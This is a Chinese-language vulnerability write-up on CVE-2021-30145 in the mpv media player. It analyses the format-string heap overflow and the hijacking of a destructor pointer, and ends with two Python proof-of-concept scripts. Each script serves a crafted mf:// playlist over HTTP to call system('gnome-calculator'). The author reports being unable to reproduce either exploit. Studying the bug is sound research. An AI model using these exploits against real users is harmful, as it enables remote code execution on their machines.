漏洞点分析 CVE-2021-30145出现在mpv0.33.0 ,该漏洞主要是由格式化字符串漏洞引发的堆溢出,从而造成任意代码执行
格式化字符串 在demux_mf.c的154行sprintf(fname, filename, count++);
,将filename格式化输出到fname中,而filename是可控的。输入参数去掉开头的mf://
就是filename
在这之前还对filename做过校验,需要开头不为@
,不含,
,且含有%
才会执行到这一步
堆溢出 fname在124行char *fname = talloc_size(mf, strlen(filename) + 32);
进行内存分配,分配了filename长度加32的内存空间。由于格式化字符串漏洞的存在,输入到fname中的内容是可以远大于filename的长度的,比如filename="%100d"
,filename的长度为5,而输入到fname中的内容长度为100,这就造成了堆溢出
另外虽然在Linux系统编译时使用了FORTIFY_SOURCE选项,sprintf被编译成了__sprintf_chk,这个函数有一个参数来表明缓冲区的大小防止缓冲区溢出,并且不能使用%n
,但是因为在当前情况下编译器不知道缓冲区的大小,所以这个参数被设置为了0xFFFFFFFFFFFFFFFF
,相当于没有做缓冲区溢出的保护。
任意代码执行 在这里内存分配调用的是talloc_size,它将在返回的chunk上方放一个ta_header结构体作为chunk的头部
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 struct ta_header { size_t size; struct ta_header *prev ; struct ta_header *next ; struct ta_header *child ; struct ta_header *parent ; void (*destructor)(void *); #if TA_MEMORY_DEBUGGING unsigned int canary; struct ta_header *leak_next ; struct ta_header *leak_prev ; const char *name; #endif };
值得关注的是,结构体内有一个destructor函数指针,它将在函数ta_free中被调用
1 2 3 4 5 6 7 8 9 10 11 12 void ta_free (void *ptr) { struct ta_header *h = get_header(ptr); if (!h) return ; if (h->destructor) h->destructor(ptr); ta_free_children(ptr); ta_set_parent(ptr, NULL ); ta_dbg_remove(h); free (h); }
利用上面的堆溢出漏洞可以覆盖下一个chunk的头部的destructor指针,从而执行任意函数。同时还需要绕过一些检查,在函数get_header中会调用ta_dbg_check_header函数对chunk的头进行检查,要求canary==0xD3ADB3EF
,并且parent为空即可。
1 2 3 4 5 6 7 8 9 10 static void ta_dbg_check_header (struct ta_header *h) { if (h) { assert(h->canary == CANARY); if (h->parent) { assert(!h->prev); assert(h->parent->child == h); } } }
虽然现在我们可以执行任意函数,但是并不能控制函数的参数。在ta_free中调用了destructor之后又执行了ta_free_children函数,它对child也执行了ta_free函数,如果能伪造一个chunk,将该chunk的地址填入child,就能执行child的destructor,并且child的数据域是可控的,所以就控制了destructor的参数
1 2 3 4 5 6 void ta_free_children (void *ptr) { struct ta_header *h = get_header(ptr); while (h && h->child) ta_free(PTR_FROM_HEADER(h->child)); }
漏洞利用 本来想用源码编译,就可以有符号调试,但是搞了一天都没搞好,麻了,就将就用无符号的调试吧
使用命令sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
关闭ASLR方便调试
调试比较重要的一个断点就是那个sprintf函数,但是因为没有符号所以不好找,这里我先给__sprintf_chk下断点,然后输入mf://aaaa%d进行调试
然后就一直c,直到跳到目标__sprintf_chk,然后return就可以得到call __sprintf_chk
下一条指令的地址,大概要八十几个c
因为关了ALSR所以每次的断点只要下在这个地址就行了
exp参考mpv media player – mf custom protocol vulnerability (CVE-2021-30145) ,利用HTTP响应传playload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('localhost' , 7000 )) s.listen(5 ) c, a = s.accept() playlist = b'mf://' playlist += b'%390c%c%c' playlist += b'\x58\x1e%4$c\xe4\xff\x7f' SYSTEM_ADDR = 0x7ffff5c37410 CANARY = 0xD3ADB3EF fake_chunk = p64(0 ) fake_chunk += p64(0 ) fake_chunk += p64(0 ) fake_chunk += p64(0 ) fake_chunk += p64(0 ) fake_chunk += p64(SYSTEM_ADDR) fake_chunk += p64(CANARY) fake_chunk += p64(0 ) fake_chunk += p64(0 ) fake_chunk += p64(0 ) d = b'HTTP/1.1 200 OK\r\n' d += b'Content-type: audio/x-mpegurl\r\n' d += b'Content-Length: ' +str (len (playlist)).encode()+b'\r\n' d += b'PL: ' d += fake_chunk d += b'gnome-calculator\x00' d += b'\r\n' d += b'\r\n' d += playlist c.send(d) c.close()
但是不知道为啥我的fname的地址每次都不一样,所以复现不出来
本来想到另外一种方法,就是直接溢出到数据部分,就不用利用child的free,无奈也验证不了,理论上应该可行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('localhost' , 7000 )) s.listen(5 ) c, a = s.accept() playlist = b'mf://' playlist += b'%1198c%c%c' playlist += b'%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c' playlist += b'\x10\xd4\x01\xf4\xff\x7f%4$c%4$c' playlist += b'\xef\xb3\xad\xd3%4$c%4$c%4$c%4$c' playlist += b'%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c' playlist += b'%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c' playlist += b'%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c' playlist += b'gnome-calculator%4$c' d = b'HTTP/1.1 200 OK\r\n' d += b'Content-type: audio/x-mpegurl\r\n' d += b'Content-Length: ' +str (len (playlist)).encode()+b'\r\n' d += b'\r\n' d += playlist c.send(d) c.close()